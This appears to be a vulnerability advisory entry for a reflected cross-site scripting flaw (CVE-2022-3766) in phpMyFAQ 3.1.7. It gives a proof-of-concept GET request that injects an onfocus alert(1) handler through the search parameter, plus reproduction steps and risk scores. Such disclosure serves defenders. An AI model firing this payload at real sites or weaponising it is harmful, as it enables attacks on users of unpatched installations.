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phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)

🗓️ 02 Dec 2025 00:00:00Reported by CodeSecLabType 
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phpMyFAQ version 3.1.7 has reflected XSS (CVE-2022-3766) via search parameter.

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# Exploit Title: phpMyFAQ  3.1.7 - Reflected Cross-Site Scripting (XSS) 
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpmyfaq/
# Software Link: https://github.com/thorsten/phpmyfaq/
# Version: 3.1.7 
# Tested on: Windows
# CVE : CVE-2022-3766


Proof Of Concept
GET http://phpmyfaq1/index.php?action=main&search=%22%20onfocus%3D%22alert%281%29

Additional Conditions:
- Ensure that no security mechanisms (like a web application firewall) are blocking the specific request pattern.
- The application must be running a phpMyFAQ version prior to 3.1.8.


Steps to Reproduce
Log in phpmyfaq.
Send the request.
Observe the result

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02 Dec 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 3.16.1
CVSS 37.3
EPSS0.2358
SSVC
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